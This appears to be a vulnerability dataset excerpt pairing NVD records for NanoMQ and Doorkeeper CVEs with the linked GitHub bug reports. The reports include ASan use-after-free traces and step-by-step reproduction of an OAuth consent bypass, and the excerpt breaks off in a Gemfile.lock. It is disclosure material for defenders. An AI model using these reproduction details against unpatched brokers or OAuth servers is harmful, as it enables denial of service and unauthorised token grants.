> Heap left redzone: fa
> Freed heap region: fd
> Stack left redzone: f1
> Stack mid redzone: f2
> Stack right redzone: f3
> Stack after return: f5
> Stack use after scope: f8
> Global redzone: f9
> Global init order: f6
> Poisoned by user: f7
> Container overflow: fc
> Array cookie: ac
> Intra object redzone: bb
> ASan internal: fe
> Left alloca redzone: ca
> Right alloca redzone: cb
> Shadow gap: cc
> ==3700126==ABORTING
>
** Environment Details **
- NanoMQ version: 0.17.5 (da4d3c8a)
- Operating system and version: Ubuntu 20.04
- Compiler and language used: gcc 9.4.0 clang 10.0.0
- testing scenario: Run the broker(build with ASAN and TSAN) with the ./nanomq start command
| [Security]: Vulnerability identified | https://api.github.com/repos/nanomq/nanomq/issues/1181/comments | 0 | 2023-04-18T16:29:38Z | 2023-04-20T07:14:36Z | https://github.com/nanomq/nanomq/issues/1181 | 1,673,473,933 | 1,181 | 5,246 |
CVE-2023-34494 | 2023-06-12T14:15:19.690 | NanoMQ 0.16.5 is vulnerable to heap-use-after-free in the nano_ctx_send function of nmq_mqtt.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/emqx/nanomq/issues/1180"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/emqx/nanomq/issues/1180"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:emqx:nanomq:0.16.5:*:*:*:*:*:*:*",
"matchCriteriaId": "E47A0176-434F-4B9F-9169-C6F0AC90780B",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"416"
] | 416 | https://github.com/emqx/nanomq/issues/1180 | [
"Issue Tracking",
"Patch",
"Vendor Advisory"
] | github.com | [
"emqx",
"nanomq"
] | **Describe the bug**
We found a heap-use-after-free in `nano_ctx_send` function of `nmq_mqtt.c` when it processes malformed messages.
**Actual Behavior**
Heap-use-after-free
**To Reproduce**
Read the `pipe` in `nano_ctx_send`(nmq_mqtt.c)
<img width="666" alt="image" src="https://user-images.githubusercontent.com/131155516/232831609-cb006702-2f3e-4751-8dde-a91ef5087770.png">
Free the `pipe` in `reap_worker`(reap.c) -> `pipe_destroy`(pipe.c)
<img width="671" alt="image" src="https://user-images.githubusercontent.com/131155516/232833249-01f34876-46c1-4e1a-863e-85d6b3ea26a2.png">
`pipe_destroy`(pipe.c)
<img width="820" alt="image" src="https://user-images.githubusercontent.com/131155516/232833523-9f79a96f-3019-4576-b8d1-b073f1fcb5b3.png">
ASAN Log
>
> =================================================================
> ==3144198==ERROR: AddressSanitizer: heap-use-after-free on address 0x61d00003ff98 at pc 0x0000006dce8c bp 0x7fe86eea87f0 sp 0x7fe86eea87e8
> READ of size 8 at 0x61d00003ff98 thread T11 (nng:task)
> #0 0x6dce8b in nano_ctx_send /home/user/nanomq/nng/src/sp/protocol/mqtt/nmq_mqtt.c:405:9
> #1 0x5a80b0 in nng_ctx_send /home/user/nanomq/nng/src/nng.c:401:2
> #2 0x577770 in server_cb /home/user/nanomq/nanomq/apps/broker.c:696:3
> #3 0x646595 in nni_taskq_thread /home/user/nanomq/nng/src/core/taskq.c:50:4
> #4 0x64caf0 in nni_thr_wrap /home/user/nanomq/nng/src/core/thread.c:94:3
> #5 0x66a073 in nni_plat_thr_main /home/user/nanomq/nng/src/platform/posix/posix_thread.c:266:2
> #6 0x7fe876f21608 in start_thread /build/glibc-SzIz7B/glibc-2.31/nptl/pthread_create.c:477:8
> #7 0x7fe876cad132 in clone /build/glibc-SzIz7B/glibc-2.31/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:95
>
> 0x61d00003ff98 is located 792 bytes inside of 2304-byte region [0x61d00003fc80,0x61d000040580)
> freed by thread T14 (nng:reap2) here:
> #0 0x4acc8d in free (/home/user/nanomq/build/nanomq/nanomq+0x4acc8d)
> #1 0x6172b6 in pipe_destroy /home/user/nanomq/nng/src/core/pipe.c:83:2
> #2 0x618e7e in reap_worker /home/user/nanomq/nng/src/core/reap.c:58:5
> #3 0x64caf0 in nni_thr_wrap /home/user/nanomq/nng/src/core/thread.c:94:3
> #4 0x66a073 in nni_plat_thr_main /home/user/nanomq/nng/src/platform/posix/posix_thread.c:266:2
> #5 0x7fe876f21608 in start_thread /build/glibc-SzIz7B/glibc-2.31/nptl/pthread_create.c:477:8
>
> previously allocated by thread T11 (nng:task) here:
> #0 0x4ad082 in calloc (/home/user/nanomq/build/nanomq/nanomq+0x4ad082)
> #1 0x6600a9 in nni_zalloc /home/user/nanomq/nng/src/platform/posix/posix_alloc.c:26:19
> #2 0x61079e in pipe_create /home/user/nanomq/nng/src/core/pipe.c:252:11
> #3 0x6133d8 in nni_pipe_create_listener /home/user/nanomq/nng/src/core/pipe.c:331:12
> #4 0x6332c1 in nni_listener_add_pipe /home/user/nanomq/nng/src/core/socket.c:1578:6
> #5 0x5f071c in listener_accept_cb /home/user/nanomq/nng/src/core/listener.c:357:3
> #6 0x646595 in nni_taskq_thread /home/user/nanomq/nng/src/core/taskq.c:50:4
> #7 0x64caf0 in nni_thr_wrap /home/user/nanomq/nng/src/core/thread.c:94:3
> #8 0x66a073 in nni_plat_thr_main /home/user/nanomq/nng/src/platform/posix/posix_thread.c:266:2
> #9 0x7fe876f21608 in start_thread /build/glibc-SzIz7B/glibc-2.31/nptl/pthread_create.c:477:8
>
> Thread T11 (nng:task) created by T0 here:
> #0 0x497cba in pthread_create (/home/user/nanomq/build/nanomq/nanomq+0x497cba)
> #1 0x669c07 in nni_plat_thr_init /home/user/nanomq/nng/src/platform/posix/posix_thread.c:279:7
> #2 0x64bbbd in nni_thr_init /home/user/nanomq/nng/src/core/thread.c:121:12
> #3 0x645507 in nni_taskq_init /home/user/nanomq/nng/src/core/taskq.c:95:8
> #4 0x5e6479 in nni_init_helper /home/user/nanomq/nng/src/core/init.c:35:13
> #5 0x66ad55 in nni_plat_init /home/user/nanomq/nng/src/platform/posix/posix_thread.c:422:12
> #6 0x6fdfa8 in nni_proto_mqtt_open /home/user/nanomq/nng/src/sp/protocol.c:37:12
> #7 0x592a92 in broker /home/user/nanomq/nanomq/apps/broker.c:872:25
> #8 0x5a2d8d in broker_start /home/user/nanomq/nanomq/apps/broker.c:1603:7
> #9 0x4e1842 in main /home/user/nanomq/nanomq/nanomq.c:142:10
> #10 0x7fe876bb2082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
>
> Thread T14 (nng:reap2) created by T0 here:
> #0 0x497cba in pthread_create (/home/user/nanomq/build/nanomq/nanomq+0x497cba)
> #1 0x669c07 in nni_plat_thr_init /home/user/nanomq/nng/src/platform/posix/posix_thread.c:279:7
> #2 0x64bbbd in nni_thr_init /home/user/nanomq/nng/src/core/thread.c:121:12
> #3 0x6188e5 in nni_reap_sys_init /home/user/nanomq/nng/src/core/reap.c:110:12
> #4 0x5e64b0 in nni_init_helper /home/user/nanomq/nng/src/core/init.c:36:13
> #5 0x66ad55 in nni_plat_init /home/user/nanomq/nng/src/platform/posix/posix_thread.c:422:12
> #6 0x6fdfa8 in nni_proto_mqtt_open /home/user/nanomq/nng/src/sp/protocol.c:37:12
> #7 0x592a92 in broker /home/user/nanomq/nanomq/apps/broker.c:872:25
> #8 0x5a2d8d in broker_start /home/user/nanomq/nanomq/apps/broker.c:1603:7
> #9 0x4e1842 in main /home/user/nanomq/nanomq/nanomq.c:142:10
> #10 0x7fe876bb2082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
>
> SUMMARY: AddressSanitizer: heap-use-after-free /home/user/nanomq/nng/src/sp/protocol/mqtt/nmq_mqtt.c:405:9 in nano_ctx_send
> Shadow bytes around the buggy address:
> 0x0c3a7fffffa0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
> 0x0c3a7fffffb0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
> 0x0c3a7fffffc0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
> 0x0c3a7fffffd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
> 0x0c3a7fffffe0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
> =>0x0c3a7ffffff0: fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd
> 0x0c3a80000000: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
> 0x0c3a80000010: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
> 0x0c3a80000020: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
> 0x0c3a80000030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
> 0x0c3a80000040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
> Shadow byte legend (one shadow byte represents 8 application bytes):
> Addressable: 00
> Partially addressable: 01 02 03 04 05 06 07
> Heap left redzone: fa
> Freed heap region: fd
> Stack left redzone: f1
> Stack mid redzone: f2
> Stack right redzone: f3
> Stack after return: f5
> Stack use after scope: f8
> Global redzone: f9
> Global init order: f6
> Poisoned by user: f7
> Container overflow: fc
> Array cookie: ac
> Intra object redzone: bb
> ASan internal: fe
> Left alloca redzone: ca
> Right alloca redzone: cb
> Shadow gap: cc
> ==3144198==ABORTING
>
** Environment Details **
- NanoMQ version: 0.16.5 (aa188a4d)
- Operating system and version: Ubuntu 20.04
- Compiler and language used: gcc 9.4.0 clang 10.0.0
- testing scenario: Run the broker(build with ASAN and TSAN) with the ./nanomq start command
| [Security]: data contention in pipe reaper | https://api.github.com/repos/nanomq/nanomq/issues/1180/comments | 4 | 2023-04-18T15:56:32Z | 2023-05-18T03:03:09Z | https://github.com/nanomq/nanomq/issues/1180 | 1,673,423,197 | 1,180 | 5,247 |
CVE-2023-34246 | 2023-06-12T17:15:09.967 | Doorkeeper is an OAuth 2 provider for Ruby on Rails / Grape. Prior to version 5.6.6, Doorkeeper automatically processes authorization requests without user consent for public clients that have been previous approved. Public clients are inherently vulnerable to impersonation, their identity cannot be assured. This issue is fixed in version 5.6.6. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.2,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.6,
"impactScore": 2.5,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 2.5,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/doorkeeper-gem/doorkeeper/issues/1589"
},
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/doorkeeper-gem/doorkeeper/pull/1646"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/doorkeeper-gem/doorkeeper/releases/tag/v5.6.6"
},
{
"source": "security-advisories@github.com",
"tags": [
"Vendor Advisory"
],
"url": "https://github.com/doorkeeper-gem/doorkeeper/security/advisories/GHSA-7w2c-w47h-789w"
},
{
"source": "security-advisories@github.com",
"tags": null,
"url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00016.html"
},
{
"source": "security-advisories@github.com",
"tags": [
"Technical Description"
],
"url": "https://www.rfc-editor.org/rfc/rfc8252#section-8.6"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/doorkeeper-gem/doorkeeper/issues/1589"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/doorkeeper-gem/doorkeeper/pull/1646"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Release Notes"
],
"url": "https://github.com/doorkeeper-gem/doorkeeper/releases/tag/v5.6.6"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Vendor Advisory"
],
"url": "https://github.com/doorkeeper-gem/doorkeeper/security/advisories/GHSA-7w2c-w47h-789w"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00016.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.debian.org/debian-lts-announce/2024/12/msg00010.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Technical Description"
],
"url": "https://www.rfc-editor.org/rfc/rfc8252#section-8.6"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:doorkeeper_project:doorkeeper:*:*:*:*:*:ruby:*:*",
"matchCriteriaId": "641ABDD9-506A-4C4D-9841-3CBECA3E5D0B",
"versionEndExcluding": "5.6.6",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"287"
] | 287 | https://github.com/doorkeeper-gem/doorkeeper/issues/1589 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"doorkeeper-gem",
"doorkeeper"
] | (Mentioning @rgammans, since he told me about this issue and wanted to be notified about replies.)
### Steps to reproduce
1. Log into the server application (in whatever way is necessary to pass its `resource_owner_authenticator` check)
2. Create a non-confidential application in Doorkeeper admin
3. Initiate authentication against it using its client ID and any OAuth2 flow
4. Click "allow" to let the access grant happen
5. Initiate authentication against it again, using a flow that only includes client_id, such as the `authorization_code` flow with PKCE
### Expected behavior
According to [RFC 8252 section 8.6](https://www.rfc-editor.org/rfc/rfc8252#section-8.6), the authentication server should re-prompt for user consent, since the client's identity cannot be assured simply from the client_id parameter. (In Doorkeeper, I think this means that it should redirect to `AuthorizationsController#new`.)
### Actual behavior
The authentication server immediately redirects with a code parameter.
### System configuration
You can help us to understand your problem if you will share some very
useful information about your project environment (don't forget to
remove any confidential data if it exists).
**Doorkeeper initializer**:
```ruby
# config/initializers/doorkeeper.rb
class NullResourceOwner
def id
nil
end
end
Doorkeeper.configure do
Devise::Doorkeeper.configure_doorkeeper(self)
# Change the ORM that doorkeeper will use (needs plugins)
orm :active_record
# This block will be called to check whether the resource owner is authenticated or not.
resource_owner_authenticator do
user_signed_in? ? current_user : NullResourceOwner.new
end
# If you didn't skip applications controller from Doorkeeper routes in your application routes.rb
# file then you need to declare this block in order to restrict access to the web interface for
# adding oauth authorized applications. In other case it will return 403 Forbidden response
# every time somebody will try to access the admin web interface.
#
admin_authenticator { authorize Doorkeeper::Application.new, :manage? }
# If you are planning to use Doorkeeper in Rails 5 API-only application, then you might
# want to use API mode that will skip all the views management and change the way how
# Doorkeeper responds to a requests.
#
# api_only
# Enforce token request content type to application/x-www-form-urlencoded.
# It is not enabled by default to not break prior versions of the gem.
#
# enforce_content_type
# Authorization Code expiration time (default 10 minutes).
#
# authorization_code_expires_in 10.minutes
# Access token expiration time (default 2 hours).
# If you want to disable expiration, set this to nil.
#
# access_token_expires_in 2.hours
# Assign custom TTL for access tokens. Will be used instead of access_token_expires_in
# option if defined. `context` has the following properties available
#
# `client` - the OAuth client application (see Doorkeeper::OAuth::Client)
# `grant_type` - the grant type of the request (see Doorkeeper::OAuth)
# `scopes` - the requested scopes (see Doorkeeper::OAuth::Scopes)
#
# custom_access_token_expires_in do |context|
# context.client.application.additional_settings.implicit_oauth_expiration
# end
# Use a custom class for generating the access token.
# See https://github.com/doorkeeper-gem/doorkeeper#custom-access-token-generator
#
access_token_generator '::Doorkeeper::JWT'
# The controller Doorkeeper::ApplicationController inherits from.
# Defaults to ActionController::Base.
# See https://github.com/doorkeeper-gem/doorkeeper#custom-base-controller
base_controller 'ApplicationController'
# Reuse access token for the same resource owner within an application (disabled by default)
# Rationale: https://github.com/doorkeeper-gem/doorkeeper/issues/383
#
# reuse_access_token
# Issue access tokens with refresh token (disabled by default), you may also
# pass a block which accepts `context` to customize when to give a refresh
# token or not. Similar to `custom_access_token_expires_in`, `context` has
# the properties:
#
# `client` - the OAuth client application (see Doorkeeper::OAuth::Client)
# `grant_type` - the grant type of the request (see Doorkeeper::OAuth)
# `scopes` - the requested scopes (see Doorkeeper::OAuth::Scopes)
#
# use_refresh_token
# Forbids creating/updating applications with arbitrary scopes that are
# not in configuration, i.e. `default_scopes` or `optional_scopes`.
# (disabled by default)
enforce_configured_scopes
# Provide support for an owner to be assigned to each registered application (disabled by default)
# Optional parameter confirmation: true (default false) if you want to enforce ownership of
# a registered application
# Note: you must also run the rails g doorkeeper:application_owner generator to provide the necessary support
#
# enable_application_owner confirmation: false
# Define access token scopes for your provider
# For more information go to
# https://github.com/doorkeeper-gem/doorkeeper/wiki/Using-Scopes
default_scopes :public
optional_scopes :openid,
:read_profile,
:read_signups,
:read_events,
:read_conventions,
:read_organizations,
:read_email_routing,
:manage_profile,
:manage_signups,
:manage_events,
:manage_conventions,
:manage_organizations,
:manage_email_routing
# Change the way client credentials are retrieved from the request object.
# By default it retrieves first from the `HTTP_AUTHORIZATION` header, then
# falls back to the `:client_id` and `:client_secret` params from the `params` object.
# Check out https://github.com/doorkeeper-gem/doorkeeper/wiki/Changing-how-clients-are-authenticated
# for more information on customization
#
# client_credentials :from_basic, :from_params
# Change the way access token is authenticated from the request object.
# By default it retrieves first from the `HTTP_AUTHORIZATION` header, then
# falls back to the `:access_token` or `:bearer_token` params from the `params` object.
# Check out https://github.com/doorkeeper-gem/doorkeeper/wiki/Changing-how-clients-are-authenticated
# for more information on customization
#
# access_token_methods :from_bearer_authorization, :from_access_token_param, :from_bearer_param
# Change the native redirect uri for client apps
# When clients register with the following redirect uri, they won't be redirected to any server and the authorization
# code will be displayed within the provider
# The value can be any string. Use nil to disable this feature. When disabled, clients must provide a valid URL
# (Similar behaviour: https://developers.google.com/accounts/docs/OAuth2InstalledApp#choosingredirecturi)
#
# native_redirect_uri 'urn:ietf:wg:oauth:2.0:oob'
# Forces the usage of the HTTPS protocol in non-native redirect uris (enabled
# by default in non-development environments). OAuth2 delegates security in
# communication to the HTTPS protocol so it is wise to keep this enabled.
#
# Callable objects such as proc, lambda, block or any object that responds to
# #call can be used in order to allow conditional checks (to allow non-SSL
# redirects to localhost for example).
#
# force_ssl_in_redirect_uri !Rails.env.development?
#
force_ssl_in_redirect_uri { |uri| uri.host != 'localhost' }
# Specify what redirect URI's you want to block during Application creation.
# Any redirect URI is whitelisted by default.
#
# You can use this option in order to forbid URI's with 'javascript' scheme
# for example.
#
# forbid_redirect_uri { |uri| uri.scheme.to_s.downcase == 'javascript' }
# Specify what grant flows are enabled in array of Strings. The valid
# strings and the flows they enable are:
#
# "authorization_code" => Authorization Code Grant Flow
# "implicit" => Implicit Grant Flow
# "password" => Resource Owner Password Credentials Grant Flow
# "client_credentials" => Client Credentials Grant Flow
#
# If not specified, Doorkeeper enables authorization_code and
# client_credentials.
#
# implicit and password grant flows have risks that you should understand
# before enabling:
# http://tools.ietf.org/html/rfc6819#section-4.4.2
# http://tools.ietf.org/html/rfc6819#section-4.4.3
#
grant_flows %w[authorization_code client_credentials]
# Hook into the strategies' request & response life-cycle in case your
# application needs advanced customization or logging:
#
# before_successful_strategy_response do |request|
# puts "BEFORE HOOK FIRED! #{request}"
# end
#
# after_successful_strategy_response do |request, response|
# puts "AFTER HOOK FIRED! #{request}, #{response}"
# end
# Hook into Authorization flow in order to implement Single Sign Out
# or add ny other functionality.
#
# before_successful_authorization do |controller|
# Rails.logger.info(params.inspect)
# end
#
# after_successful_authorization do |controller|
# controller.session[:logout_urls] <<
# Doorkeeper::Application
# .find_by(controller.request.params.slice(:redirect_uri))
# .logout_uri
# end
# Under some circumstances you might want to have applications auto-approved,
# so that the user skips the authorization step.
# For example if dealing with a trusted application.
#
# skip_authorization do |resource_owner, client|
# client.superapp? or resource_owner.admin?
# end
# WWW-Authenticate Realm (default "Doorkeeper").
#
# realm "Doorkeeper"
end
Doorkeeper::JWT.configure do
# Set the payload for the JWT token. This should contain unique information
# about the user. Defaults to a randomly generated token in a hash:
# { token: "RANDOM-TOKEN" }
token_payload do |opts|
user = User.find(opts[:resource_owner_id])
{
iat: Time.current.utc.to_i,
exp: (Time.current + opts[:expires_in].seconds).utc.to_i,
# @see JWT reserved claims - https://tools.ietf.org/html/draft-jones-json-web-token-07#page-7
jti: SecureRandom.uuid,
user: {
id: user.id,
email: user.email,
name: user.name,
first_name: user.first_name,
last_name: user.last_name
}
}
end
# Optionally set additional headers for the JWT. See
# https://tools.ietf.org/html/rfc7515#section-4.1
token_headers { |_opts| { kid: Doorkeeper::OpenidConnect.signing_key[:kid] } }
# Use the application secret specified in the access grant token. Defaults to
# `false`. If you specify `use_application_secret true`, both `secret_key` and
# `secret_key_path` will be ignored.
use_application_secret false
# Set the encryption secret. This would be shared with any other applications
# that should be able to read the payload of the token. Defaults to "secret".
secret_key ENV.fetch('OPENID_CONNECT_SIGNING_KEY', nil)&.gsub('\n', "\n")
# Specify encryption type (https://github.com/progrium/ruby-jwt). Defaults to
# `nil`.
encryption_method :RS256
end
```
**Ruby version**: `3.1.2`
**Gemfile.lock**:
<details>
<summary>Gemfile.lock content</summary>
```
GIT
remote: https://github.com/dabit/annotate_models.git
revision: f38741d005052045e4d4c2c26b009d3ade0864f3
branch: rails-7
specs:
annotate (3.1.1)
activerecord (>= 3.2, < 7.1)
rake (>= 10.4, < 14.0)
GIT
remote: https://github.com/nbudin/cloudwatch_scheduler.git
revision: 3c4a06c3bf6596663f45d05f524ddddafc09e542
branch: ruby3_rails7_compat
specs:
cloudwatch_scheduler (1.1.1)
aws-sdk-cloudwatchevents (~> 1.13)
aws-sdk-sqs (~> 1.10)
rails (>= 5.2.0)
shoryuken (>= 2.0)
GIT
remote: https://github.com/neinteractiveliterature/civil_service.git
revision: bba59c4a91c3ca61386cfca2f723031ba097da93
branch: no-double-validate
specs:
civil_service (2.3.0)
activemodel (>= 3.0.0)
GEM
remote: https://rubygems.org/
specs:
actioncable (7.0.4)
actionpack (= 7.0.4)
activesupport (= 7.0.4)
nio4r (~> 2.0)
websocket-driver (>= 0.6.1)
actionmailbox (7.0.4)
actionpack (= 7.0.4)
activejob (= 7.0.4)
activerecord (= 7.0.4)
activestorage (= 7.0.4)
activesupport (= 7.0.4)
mail (>= 2.7.1)
net-imap
net-pop
net-smtp
actionmailer (7.0.4)
actionpack (= 7.0.4)
actionview (= 7.0.4)
activejob (= 7.0.4)
activesupport (= 7.0.4)
mail (~> 2.5, >= 2.5.4)
net-imap
net-pop
net-smtp
rails-dom-testing (~> 2.0)
actionpack (7.0.4)
actionview (= 7.0.4)
activesupport (= 7.0.4)
rack (~> 2.0, >= 2.2.0)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.2.0)
actiontext (7.0.4)
actionpack (= 7.0.4)
activerecord (= 7.0.4)
activestorage (= 7.0.4)
activesupport (= 7.0.4)
globalid (>= 0.6.0)
nokogiri (>= 1.8.5)
actionview (7.0.4)
activesupport (= 7.0.4)
builder (~> 3.1)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.1, >= 1.2.0)
active_storage_svg_sanitizer (0.1.0)
rails (>= 5.2)
activejob (7.0.4)
activesupport (= 7.0.4)
globalid (>= 0.3.6)
activemodel (7.0.4)
activesupport (= 7.0.4)
activerecord (7.0.4)
activemodel (= 7.0.4)
activesupport (= 7.0.4)
activerecord-session_store (2.0.0)
actionpack (>= 5.2.4.1)
activerecord (>= 5.2.4.1)
multi_json (~> 1.11, >= 1.11.2)
rack (>= 2.0.8, < 3)
railties (>= 5.2.4.1)
activestorage (7.0.4)
actionpack (= 7.0.4)
activejob (= 7.0.4)
activerecord (= 7.0.4)
activesupport (= 7.0.4)
marcel (~> 1.0)
mini_mime (>= 1.1.0)
activesupport (7.0.4)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 1.6, < 2)
minitest (>= 5.1)
tzinfo (~> 2.0)
acts_as_list (0.9.16)
activerecord (>= 3.0)
addressable (2.8.0)
public_suffix (>= 2.0.2, < 5.0)
aes_key_wrap (1.1.0)
ahoy_matey (3.2.0)
activesupport (>= 5)
device_detector
geocoder (>= 1.4.5)
safely_block (>= 0.2.1)
ansi (1.5.0)
apollo_upload_server (2.1.4)
actionpack (>= 6.1.6)
graphql (>= 1.8)
ast (2.4.2)
aws-eventstream (1.2.0)
aws-partitions (1.568.0)
aws-record (2.6.0)
aws-sdk-dynamodb (~> 1.18)
aws-sdk-cloudwatchevents (1.57.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sigv4 (~> 1.1)
aws-sdk-cloudwatchlogs (1.45.0)
aws-sdk-core (~> 3, >= 3.120.0)
aws-sigv4 (~> 1.1)
aws-sdk-core (3.130.0)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.525.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1.0)
aws-sdk-dynamodb (1.60.0)
aws-sdk-core (~> 3, >= 3.112.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.48.0)
aws-sdk-core (~> 3, >= 3.120.0)
aws-sigv4 (~> 1.1)
aws-sdk-rails (3.6.1)
aws-record (~> 2)
aws-sdk-ses (~> 1)
aws-sdk-sqs (~> 1)
aws-sessionstore-dynamodb (~> 2)
concurrent-ruby (~> 1)
railties (>= 5.2.0)
aws-sdk-s3 (1.102.0)
aws-sdk-core (~> 3, >= 3.120.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.4)
aws-sdk-ses (1.38.0)
aws-sdk-core (~> 3, >= 3.112.0)
aws-sigv4 (~> 1.1)
aws-sdk-sns (1.45.0)
aws-sdk-core (~> 3, >= 3.120.0)
aws-sigv4 (~> 1.1)
aws-sdk-sqs (1.51.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sigv4 (~> 1.1)
aws-sessionstore-dynamodb (2.0.1)
aws-sdk-dynamodb (~> 1)
rack (~> 2)
aws-sigv4 (1.4.0)
aws-eventstream (~> 1, >= 1.0.2)
backport (1.2.0)
bcrypt (3.1.16)
bcrypt (3.1.16-java)
benchmark (0.2.0)
benchmark-ips (2.10.0)
bindata (2.4.11)
bootsnap (1.9.3)
msgpack (~> 1.0)
browser (5.3.1)
builder (3.2.4)
cadmus (0.7.1)
liquid
rails (>= 5.0.0)
cadmus_navbar (0.1.0)
acts_as_list
cadmus
rails (>= 5.0.0)
cloudwatchlogger (0.3.0)
aws-sdk-cloudwatchlogs (~> 1)
multi_json (~> 1)
uuid (~> 2)
coderay (1.1.3)
concurrent-ruby (1.1.10)
crass (1.0.6)
dalli (2.7.11)
dante (0.2.0)
dead_end (1.1.7)
debug (1.1.0)
irb
reline (>= 0.2.7)
derailed_benchmarks (2.1.1)
benchmark-ips (~> 2)
dead_end
get_process_mem (~> 0)
heapy (~> 0)
memory_profiler (>= 0, < 2)
mini_histogram (>= 0.3.0)
rack (>= 1)
rack-test
rake (> 10, < 14)
ruby-statistics (>= 2.1)
thor (>= 0.19, < 2)
device_detector (1.0.5)
devise (4.8.1)
bcrypt (~> 3.0)
orm_adapter (~> 0.1)
railties (>= 4.1.0)
responders
warden (~> 1.2.3)
devise-doorkeeper (1.2.0)
devise
doorkeeper
rails
devise-encryptable (0.2.0)
devise (>= 2.1.0)
diff-lcs (1.5.0)
digest (3.1.0)
digest (3.1.0-java)
docile (1.3.4)
domain_prefix (0.4.20210906)
json
simpleidn (>= 0.0.5)
doorkeeper (5.6.0)
railties (>= 5)
doorkeeper-jwt (0.4.0)
jwt (~> 2.1)
doorkeeper-openid_connect (1.8.2)
doorkeeper (>= 5.5, < 5.7)
json-jwt (>= 1.11.0)
dotenv (2.7.6)
dotenv-rails (2.7.6)
dotenv (= 2.7.6)
railties (>= 3.2)
e2mmap (0.1.0)
errbase (0.2.1)
erubi (1.11.0)
eu_central_bank (1.6.1)
money (~> 6.13, >= 6.13.6)
nokogiri (~> 1.9)
factory_bot (6.2.0)
activesupport (>= 5.0.0)
factory_bot_rails (6.2.0)
factory_bot (~> 6.2.0)
